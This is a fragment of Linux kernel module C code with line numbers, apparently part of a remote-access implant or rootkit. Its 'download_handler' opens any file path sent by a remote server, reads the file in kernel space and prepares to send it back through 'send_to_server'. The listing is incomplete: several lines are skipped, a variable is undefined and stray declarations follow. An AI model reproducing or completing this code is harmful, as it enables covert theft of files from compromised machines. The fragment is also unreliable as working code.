24 {
25 if (protocol !=
TCP) {
26 DBG_MSG(
"download_handler: warning, protocol is not TCP\n");
27 }
28
29 if (!args || !*args) {
30 DBG_MSG(
"download_handler: missing file path argument\n");
32 return -EINVAL;
33 }
34
35 DBG_MSG(
"download_handler: attempting to open file: %s\n", args);
36 struct file *filp = filp_open(args, O_RDONLY, 0);
37 if (IS_ERR(filp)) {
38 ERR_MSG(
"download_handler: failed to open file %s\n", args);
40 return PTR_ERR(filp);
41 }
42
43 loff_t pos = 0;
44 int size = i_size_read(file_inode(filp));
45 DBG_MSG(
"download_handler: file size is %d\n", size);
46
47 if (size <= 0) {
48 filp_close(filp, NULL);
49 DBG_MSG(
"download_handler: file is empty or unreadable\n");
51 return -EINVAL;
52 }
53
54 char *buffer = vmalloc(size);
55 if (!buffer) {
56 filp_close(filp, NULL);
57 ERR_MSG(
"download_handler: memory allocation failed\n");
59 return -ENOMEM;
60 }
61
62 int read_bytes = kernel_read(filp, buffer, size, &pos);
63 filp_close(filp, NULL);
64
65 if (read_bytes != size) {
66 ERR_MSG(
"download_handler: read error (%d / %d)\n", read_bytes, size);
67 vfree(buffer);
69 return -EIO;
70 }
71
75
76 DBG_MSG(
"download_handler: file read successfully (%d bytes)\n", size);
77
78 char size_msg[64];
79 snprintf(size_msg,
sizeof(size_msg),
"SIZE %ld\n",
download_size);
81
82 DBG_MSG(
"download_handler: waiting for READY before sending file\n");
83 return 0;
84}
static struct dentry * file
int send_to_server(enum Protocol protocol, char *message,...)